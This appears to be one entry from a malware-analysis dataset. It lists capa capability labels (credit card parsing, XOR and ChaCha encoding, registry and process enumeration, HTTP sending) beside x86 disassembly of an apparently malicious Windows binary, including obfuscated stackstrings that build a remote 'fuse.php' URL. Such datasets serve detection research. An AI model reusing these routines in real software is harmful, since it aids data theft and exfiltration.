joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402093
Capabilities:
Parse credit card information

Disassembly:
push 0x2c
mov eax, 0x418702
call fcn.00408dd4
mov ecx, dword [ebp + 8]
and dword [ebp - 0x38], 0
mov dword [ebp - 0x28], ecx
mov esi, str.0123456789ABCDEF
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor ebx, ebx
inc ebx
mov dword [ebp - 4], ebx
movsb byte es:[edi], byte [esi]
call fcn.00401ac8
xor edi, edi
mov dword [ebp - 0x38], ebx
cmp dword [ebp + 0x20], edi
jbe 0x402188
push edi
lea ecx, [ebp + 0xc]
call fcn.00401485
mov bl, byte [eax]
mov byte [ebp - 0x2c], bl
cmp bl, 0x24
je 0x40213c
cmp bl, 0x26
je 0x40213c
cmp bl, 0x2b
je 0x40213c
cmp bl, 0x2c
je 0x40213c
cmp bl, 0x2f
je 0x40213c
cmp bl, 0x3a
je 0x40213c
cmp bl, 0x5b
je 0x40213c
cmp bl, 0x5d
je 0x40213c
cmp bl, 0x5c
je 0x40213c
cmp bl, 0x3b
je 0x40213c
cmp bl, 0x3d
je 0x40213c
cmp bl, 0x3f
je 0x40213c
cmp bl, 0x40
je 0x40213c
cmp bl, 0x23
je 0x40213c
mov al, bl
sub al, 0x20
cmp al, 0x5e
ja 0x40213c
mov ecx, dword [ebp - 0x28]
cmp bl, 0x20
jne 0x402137
push 0x2b
jmp 0x402174
push dword [ebp - 0x2c]
jmp 0x402174
mov ecx, dword [ebp - 0x28]
push 0x25
push 1
call fcn.00401c21
mov ecx, dword [ebp - 0x28]
movsx esi, bl
mov eax, esi
sar eax, 4
mov al, byte [ebp + eax - 0x24]
mov byte [ebp - 0x34], al
push dword [ebp - 0x34]
push 1
call fcn.00401c21
mov ecx, dword [ebp - 0x28]
and esi, 0xf
mov al, byte [ebp + esi - 0x24]
mov byte [ebp - 0x30], al
push dword [ebp - 0x30]
push 1
call fcn.00401c21
inc edi
cmp edi, dword [ebp + 0x20]
jb 0x4020cf
xor ebx, ebx
inc ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push ebx
lea ecx, [ebp + 0xc]
call fcn.00401877
mov eax, dword [ebp - 0x28]
call fcn.00408e1e
ret
Function at 0x4028d5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x6f0
mov eax, 0x418755
call fcn.00408dd4
movzx eax, word [ebp + 8]
push 0x419320
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, esi
jne 0x402904
xor al, al
jmp 0x4029f3
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
je 0x4028fd
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
cmp ebx, esi
je 0x4028fd
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea eax, [ebp - 0x6fc]
push 0x4196a8
push eax
call fcn.00407abd
pop ecx
pop ecx
push dword [eax]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], esi
call fcn.00402235
mov ecx, dword [ebp - 0x6fc]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.004012cf
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x402965
lea eax, [ebp - 0x28]
push eax
push edi
push ebx
lea ecx, [ebp - 0x6f0]
call fcn.004053ea
lea eax, [ebp - 0x6f8]
push eax
lea eax, [ebp - 0x6f4]
push eax
push esi
lea ecx, [ebp - 0x6f0]
call fcn.004054cb
lea ecx, [ebp - 0x6f0]
call fcn.004051db
mov eax, dword [ebp - 0x6f8]
push eax
mov dword [0x41fa78], eax
call fcn.00407ccc
mov ecx, dword [0x41fa78]
push ecx
push dword [ebp - 0x6f4]
mov dword [0x41fa7c], eax
push ecx
push eax
call fcn.00408075
push dword [0x41fa78]
push dword [0x41fa7c]
call fcn.004051af
push dword [ebp - 0x6f4]
mov dword [0x41fa80], eax
call fcn.00408e4b
add esp, 0x20
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401877
mov al, 1
call fcn.00408e1e
ret

Function at 0x402c56
Capabilities:
Delete file

Disassembly:
push 8
mov eax, 0x4187a0
call fcn.00408d9e
mov ecx, 0x41faec
call fcn.004075e6
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1836
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp byte [0x41fa84], bl
je 0x402c9e
call dword [0x41fa5c]
jmp 0x402cd7
push ebx
call dword [0x41fa54]
push 0xb4
call dword [0x41fa60]
jmp 0x402cd7
mov eax, dword [0x41fa80]
cmp eax, ebx
je 0x402cff
push eax
call fcn.00404eaf
push dword [0x41fa7c]
mov dword [0x41fa80], ebx
call fcn.00408e4b
pop ecx
pop ecx
mov dword [0x41fa78], ebx
cmp dword [0x41fae8], 0x10
mov eax, dword [0x41fad4]
jae 0x402d12
mov eax, 0x41fad4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.00408e0a
ret
Function at 0x403fc8
Capabilities:
Hash data with md5

Disassembly:
and dword [ecx + 0x14], 0
and dword [ecx + 0x10], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret

Function at 0x4048cc
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [edi + 4]
and dword [ebp - 8], 0
mov dword [ebp - 4], eax
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
push ebx
push esi
lea esi, [ecx + eax + 0x18]
xor ecx, ecx
cmp cx, word [eax + 6]
jae 0x404996
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x404936
mov eax, dword [ebp + 0x10]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x404981
push dword [edi + 0x34]
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push ebx
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x40499d
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push ebx
push 0
push eax
mov dword [esi - 8], eax
call fcn.00408210
jmp 0x40497e
mov ecx, dword [esi + 4]
add ecx, eax
mov eax, dword [ebp + 0xc]
push ecx
call fcn.004048b7
pop ecx
test eax, eax
je 0x40499d
push dword [edi + 0x34]
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push dword [esi]
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x40499d
mov eax, dword [esi + 4]
push dword [esi]
mov ebx, dword [esi - 4]
add eax, dword [ebp + 8]
add ebx, dword [ebp - 4]
push eax
push ebx
call fcn.00409060
mov dword [esi - 8], ebx
add esp, 0xc
mov eax, dword [edi]
movzx eax, word [eax + 6]
inc dword [ebp - 8]
add esi, 0x28
cmp dword [ebp - 8], eax
jl 0x4048f6
xor eax, eax
inc eax
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x404999
Function at 0x4051f1
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x6b8]
test eax, eax
je 0x405211
mov ecx, 0xb0
push ecx
push eax
push ecx
push esi
call fcn.00408075
add esp, 0x10
pop esi
ret
push edi
push 0
lea edi, [esi + 0x6c0]
push 0
push dword [edi]
call fcn.0040a012
push dword [edi]
push 1
push 0xb0
push esi
call fcn.0040a42a
add esp, 0x1c
pop edi
pop esi
ret

Function at 0x405238
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov ecx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x10
pop edx
sub ecx, edi
push ebx
mov dword [ebp - 0x30], 0xc840
mov dword [ebp - 0x2c], 0xd951
mov dword [ebp - 0x28], 0xea62
mov dword [ebp - 0x24], 0xfb73
mov dword [ebp - 0x20], 0xfa50
mov dword [ebp - 0x1c], 0xcb61
mov dword [ebp - 0x18], 0xd872
mov dword [ebp - 0x14], 0xe943
mov eax, edi
mov dword [ebp - 0x10], ecx
push esi
mov esi, dword [ecx + eax]
mov dword [eax], esi
add eax, 4
dec edx
jne 0x405289
and dword [ebp - 4], edx
mov eax, dword [ebp - 4]
and eax, 7
mov esi, dword [ebp + eax*4 - 0x30]
mov ecx, esi
mov eax, esi
shr ecx, 8
mov edx, esi
shr eax, 4
and ecx, 0xf
and edx, 0xf
and eax, 0xf
mov dword [ebp - 8], ecx
shr esi, 0xc
mov dword [ebp + 8], 0x19181410
mov ecx, dword [edi + eax*4]
add dword [edi + edx*4], ecx
mov ebx, dword [edi + edx*4]
mov edi, dword [edi + esi*4]
movzx ecx, byte [ebp + 8]
shr dword [ebp + 8], 8
xor edi, ebx
ror edi, cl
cmp dword [ebp + 8], 0
mov ecx, edi
mov edi, dword [ebp + 0xc]
mov dword [edi + esi*4], ecx
mov ecx, edx
mov edx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov ecx, eax
mov eax, esi
mov esi, ecx
jne 0x4052c3
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x50
jb 0x405297
push 0x10
pop eax
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [edi + ecx]
add dword [edi], ecx
add edi, 4
dec eax
jne 0x405305
pop edi
leave
ret 8

Function at 0x405318
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax], 0x61707865
mov dword [eax + 4], 0x3320646e
mov dword [eax + 8], 0x79622d32
mov dword [eax + 0xc], 0x6b206574
xor edx, edx
lea ecx, [eax + 0x10]
push esi
mov esi, dword [esp + 0xc]
mov esi, dword [esi + edx*4]
mov dword [ecx], esi
inc edx
add ecx, 4
cmp edx, 8
jl 0x40533d
and dword [eax + 0x30], 0
and dword [eax + 0x34], 0
xor ecx, ecx
add eax, 0x38
pop esi
mov edx, dword [esp + 0xc]
mov edx, dword [edx + ecx*4]
mov dword [eax], edx
inc ecx
add eax, 4
cmp ecx, 2
jl 0x40535d
ret 0xc
Function at 0x405372
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x41e16c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], eax
test ebx, ebx
je 0x4053da
push edi
mov ecx, dword [ebp - 0x50]
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.00405238
add dword [esi + 0x30], 1
push 0x40
pop edi
adc dword [esi + 0x34], 0
cmp ebx, edi
ja 0x4053ba
mov edi, ebx
test ebx, ebx
jbe 0x4053d0
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x44]
sub ecx, eax
mov dword [ebp - 0x4c], edi
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec dword [ebp - 0x4c]
jne 0x4053c5
add dword [ebp - 0x48], edi
sub ebx, edi
test ebx, ebx
jne 0x405398
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00407cd7
leave
ret 0xc

Function at 0x4054cb
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x6b8]
push edi
test ecx, ecx
je 0x405504
mov eax, dword [ebp + 8]
mov edi, dword [esi + eax*8 + 0x34]
mov ebx, dword [esi + eax*8 + 0x30]
push edi
add ebx, ecx
call fcn.00407ccc
push edi
push ebx
push edi
push eax
mov dword [ebp + 8], eax
call fcn.00408075
mov ebx, dword [ebp + 8]
add esp, 0x14
jmp 0x405536
mov edi, dword [ebp + 8]
push 0
push dword [esi + edi*8 + 0x30]
push dword [esi + 0x6c0]
call fcn.0040a012
mov edi, dword [esi + edi*8 + 0x34]
push edi
call fcn.00407ccc
push dword [esi + 0x6c0]
mov ebx, eax
push 1
push edi
push ebx
call fcn.0040a42a
add esp, 0x20
push edi
push ebx
lea eax, [esi + 0x2b8]
push eax
mov ecx, esi
call fcn.00405444
add edi, 0xfffffff8
push edi
call fcn.00407ccc
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push edi
lea ecx, [ebx + 8]
push ecx
push edi
push eax
call fcn.00408075
mov eax, dword [ebp + 0x10]
push ebx
mov dword [eax], edi
call fcn.00408e4b
add esp, 0x18
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x405c6e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x24], 0x10
mov dword [ebp - 4], edi
jae 0x405c8a
lea ecx, [ebp + 0x10]
lea edx, [ebp - 8]
push edx
push 0x20019
push edi
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405cc7
cmp dword [ebp + 0x40], 0x10
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0xc], 4
jae 0x405cb3
lea eax, [ebp + 0x2c]
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 4]
push ecx
push edi
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 4]
push edi
push 1
lea ecx, [ebp + 0xc]
call fcn.00401877
push edi
push 1
lea ecx, [ebp + 0x28]
call fcn.00401877
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x4064f9
Capabilities:
Check http status code
Contain obfuscated stackstrings
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x41e16c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 1
push 0x50
sub esp, 0x1c
mov esi, ecx
lea eax, [ebp - 0x10]
xor ebx, ebx
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
mov byte [ebp - 0x11], bl
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 7], 0x6d
mov byte [ebp - 8], 0x6f
mov byte [ebp - 0xd], 0x67
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 6], bl
mov byte [ebp - 9], 0x63
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0x10], 0x67
mov byte [ebp - 0xf], 0x6f
call fcn.00402235
mov ecx, esi
call fcn.00405c01
cmp byte [esi + 0x1c], bl
je 0x4065e4
lea eax, [ebp - 0x38]
push ebx
push eax
call fcn.004062a3
cmp dword [eax + 0x18], 0x10
pop ecx
pop ecx
jb 0x40657a
mov eax, dword [eax + 4]
jmp 0x40657d
add eax, 4
push ebx
push ebx
push ebx
push ebx
push str.HTTP_1.0
push 0x419fd4
push eax
push dword [esi + 0x40]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push ebx
push 1
lea ecx, [ebp - 0x38]
mov edi, eax
call fcn.00401877
cmp edi, ebx
je 0x4065dd
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x1c], 0xc8
jne 0x4065dd
mov byte [ebp - 0x11], 1
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.00405575
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x11]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407cd7
leave
ret
Function at 0x40693a
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x5c
mov eax, 0x418ac0
call fcn.00408d6b
mov ecx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 4], 2
call fcn.00401ac8
cmp dword [ebp + 0x28], 0x10
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x34], 1
jae 0x406973
lea eax, [ebp + 0x14]
lea ecx, [ebp - 0x14]
push ecx
push 0x20019
push esi
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406a70
lea ecx, [ebp - 0x30]
call fcn.0040688d
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
cmp dword [ebp + 0x44], 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x30]
mov byte [ebp - 4], 3
jae 0x4069ae
lea eax, [ebp + 0x30]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x10]
push ecx
push esi
push esi
push esi
push eax
push dword [ebp - 0x14]
call edi
cmp eax, esi
jne 0x406a5f
push esi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
call fcn.004068ba
cmp dword [ebp + 0x44], 0x10
mov ebx, dword [ebp + 0x30]
jae 0x4069e1
lea ebx, [ebp + 0x30]
lea eax, [ebp - 0x10]
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.004055b7
push eax
push esi
push esi
push ebx
push dword [ebp - 0x14]
call edi
cmp eax, esi
jne 0x406a5f
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
cmp eax, esi
jle 0x406a5f
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x44]
call fcn.004059f6
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3c]
call fcn.004059f6
push 1
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x44]
call fcn.00405b06
push dword [eax + 4]
lea ecx, [ebp - 0x68]
push dword [eax]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00406017
mov ecx, dword [ebp - 0x18]
push 0xffffffffffffffff
push esi
push eax
mov byte [ebp - 4], 4
call fcn.00401e01
push esi
push 1
lea ecx, [ebp - 0x68]
call fcn.00401877
lea ecx, [ebp - 0x30]
call fcn.00405b36
push dword [ebp - 0x30]
call fcn.00407eab
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push 1
lea ecx, [ebp + 0x10]
call fcn.00401877
push esi
push 1
lea ecx, [ebp + 0x2c]
call fcn.00401877
mov eax, dword [ebp - 0x18]
call fcn.00408e0a
ret
Function at 0x4071c7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
sub esp, 0x11c
lea ebp, [esp - 4]
mov eax, dword [0x41e16c]
xor eax, ebp
mov dword [ebp + 0x11c], eax
push 4
mov eax, 0x418bc1
call fcn.00408d6b
mov edi, dword [ebp + 0x128]
push 0x100
xor ebx, ebx
lea eax, [ebp + 0x1c]
push ebx
push eax
mov dword [ebp - 0x10], ecx
call fcn.00408210
add esp, 0xc
push ebx
lea ecx, [ebp]
mov byte [ebp + 0x1f], 0x70
mov byte [ebp + 0x28], 0x70
mov byte [ebp + 0x37], 0x2e
mov byte [ebp + 0x1d], 0x74
mov byte [ebp + 0x2d], 0x6f
mov byte [ebp + 0x31], 0x6d
mov byte [ebp + 0x2a], 0x72
mov byte [ebp + 0x20], 0x73
mov byte [ebp + 0x3a], 0x70
mov byte [ebp + 0x39], 0x68
mov byte [ebp + 0x2e], 0x2e
mov byte [ebp + 0x26], 0x61
mov byte [ebp + 0x2b], 0x6f
mov byte [ebp + 0x27], 0x70
mov byte [ebp + 0x36], 0x65
mov byte [ebp + 0x24], 0x6d
mov byte [ebp + 0x2c], 0x6d
mov byte [ebp + 0x23], 0x2f
mov byte [ebp + 0x3b], bl
mov byte [ebp + 0x22], 0x2f
mov byte [ebp + 0x33], 0x66
mov byte [ebp + 0x30], 0x6f
mov byte [ebp + 0x1e], 0x74
mov byte [ebp + 0x34], 0x75
mov byte [ebp + 0x35], 0x73
mov byte [ebp + 0x25], 0x79
mov byte [ebp + 0x2f], 0x63
mov byte [ebp + 0x38], 0x70
mov byte [ebp + 0x1c], 0x68
mov byte [ebp + 0x32], 0x2f
mov byte [ebp + 0x29], 0x70
mov byte [ebp + 0x21], 0x3a
mov byte [ebp + 0x3d], bl
mov dword [ebp + 0x18], 0xf
call fcn.00401712
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4072a3
sub eax, esi
push eax
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp]
call fcn.00401e93
xor esi, esi
mov ecx, dword [ebp - 0x10]
push edi
lea eax, [ebp]
push eax
call fcn.004070e8
cmp dword [edi + 0x14], ebx
ja 0x4072db
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 3
jl 0x4072bb
push ebx
push 1
lea ecx, [ebp]
call fcn.00401877
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x11c]
xor ecx, ebp
call fcn.00407cd7
add ebp, 0x120
leave
ret 4
Function at 0x407315
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x4bc]
sub esp, 0x53c
mov eax, dword [0x41e16c]
xor eax, ebp
mov dword [ebp + 0x4b8], eax
mov eax, dword [ebp + 0x4c4]
push esi
xor esi, esi
push esi
push 2
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x74], esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x78], eax
cmp eax, 0xffffffff
jne 0x407356
xor eax, eax
jmp 0x407428
push ebx
push edi
lea ecx, [ebp - 0x70]
push ecx
push eax
mov dword [ebp - 0x70], 0x128
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x7c], esi
mov ebx, 0x400
xor edi, edi
lea esi, [ebp + edi - 0x4c]
movsx eax, byte [esi]
push eax
call fcn.0040a9e3
inc edi
cmp edi, 0x104
pop ecx
mov byte [esi], al
jl 0x407373
push ebx
push dword [ebp - 0x80]
lea eax, [ebp + 0xb8]
push ebx
push eax
call fcn.0040a819
lea eax, [ebp - 0x7c]
push eax
mov esi, 0x41a02c
lea eax, [ebp + 0xb8]
push esi
push eax
call fcn.0040a72b
add esp, 0x1c
jmp 0x4073f3
mov ecx, eax
lea eax, [ebp - 0x4c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4073db
test dl, dl
je 0x4073d7
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4073db
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jne 0x4073bd
xor eax, eax
jmp 0x4073e0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4073f9
lea eax, [ebp - 0x7c]
push eax
push esi
push 0
call fcn.0040a72b
add esp, 0xc
test eax, eax
jne 0x4073b8
jmp 0x407400
mov dword [ebp - 0x74], 1
cmp dword [ebp - 0x74], 1
je 0x40741a
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x78]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x407371
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x74]
pop edi
pop ebx
mov ecx, dword [ebp + 0x4b8]
xor ecx, ebp
pop esi
call fcn.00407cd7
add ebp, 0x4bc
leave
ret 4

Function at 0x407440
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x41e16c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
imul esi, esi, 0x64
xor ebx, ebx
push edi
mov edi, ecx
test esi, esi
jle 0x4074d7
push dword [edi + 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4074d7
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00408210
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [edi + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x108]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4074ac
sub eax, ecx
cmp eax, 3
jle 0x4074ca
movsx eax, byte [ebp + eax - 0x10a]
sub eax, 0x30
cmp dword [ebp + 8], eax
je 0x4074ea
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, esi
jl 0x407464
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407cd7
leave
ret 8
mov al, 1
jmp 0x4074d9

Function at 0x4075c9
Capabilities:
Create thread

Disassembly:
push esi
xor eax, eax
push eax
push eax
mov esi, ecx
push esi
push 0x4074ee
push eax
push eax
mov byte [esi + 0x10], al
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xc], eax
pop esi
ret
Function at 0x4077b5
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41e16c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esi], eax
cmp dword [esi + 8], ebx
jne 0x4077dd
call fcn.0040776e
push dword [esi + 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407881
push edi
mov edi, 0x103
push edi
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.00408210
push edi
lea eax, [ebp - 0x20b]
push ebx
push eax
mov byte [ebp - 0x20c], bl
call fcn.00408210
add esp, 0x18
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x108]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40783d
sub eax, edi
cmp eax, 3
pop edi
jle 0x407881
push dword [ebp + 8]
mov byte [ebp + eax - 0x10b], bl
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str._s_i
push eax
call fcn.004075eb
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.00407cd7
leave
ret 4

Function at 0x407cd7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41e16c]
jne 0x407ce1
repz ret
jmp fcn.0040ac4b
Function at 0x41518c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040b7cb
and dword [ebp - 4], 0
cmp dword [0x4204e8], 0
mov ebx, eax
jne 0x41523d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4152ee
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41bc98
push edi
call esi
test eax, eax
je 0x4152ee
push eax
call fcn.0040b759
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4204e8], eax
call esi
push eax
call fcn.0040b759
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4204ec], eax
call esi
push eax
call fcn.0040b759
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4204f0], eax
call esi
push eax
call fcn.0040b759
pop ecx
mov dword [0x4204f8], eax
test eax, eax
je 0x41523d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040b759
pop ecx
mov dword [0x4204f4], eax
mov eax, dword [0x4204f4]
cmp eax, ebx
je 0x415295
cmp dword [0x4204f8], ebx
je 0x415295
push eax
call fcn.0040b7d4
push dword [0x4204f8]
mov esi, eax
call fcn.0040b7d4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x415295
test edi, edi
je 0x415295
call esi
test eax, eax
je 0x41528c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41528c
test byte [ebp - 0xc], 1
jne 0x415295
or dword [ebp + 0x10], 0x200000
jmp 0x4152ce
mov eax, dword [0x4204ec]
cmp eax, ebx
je 0x4152ce
push eax
call fcn.0040b7d4
pop ecx
test eax, eax
je 0x4152ce
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4152ce
mov eax, dword [0x4204f0]
cmp eax, ebx
je 0x4152ce
push eax
call fcn.0040b7d4
pop ecx
test eax, eax
je 0x4152ce
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4204e8]
call fcn.0040b7d4
pop ecx
test eax, eax
je 0x4152ee
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4152f0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret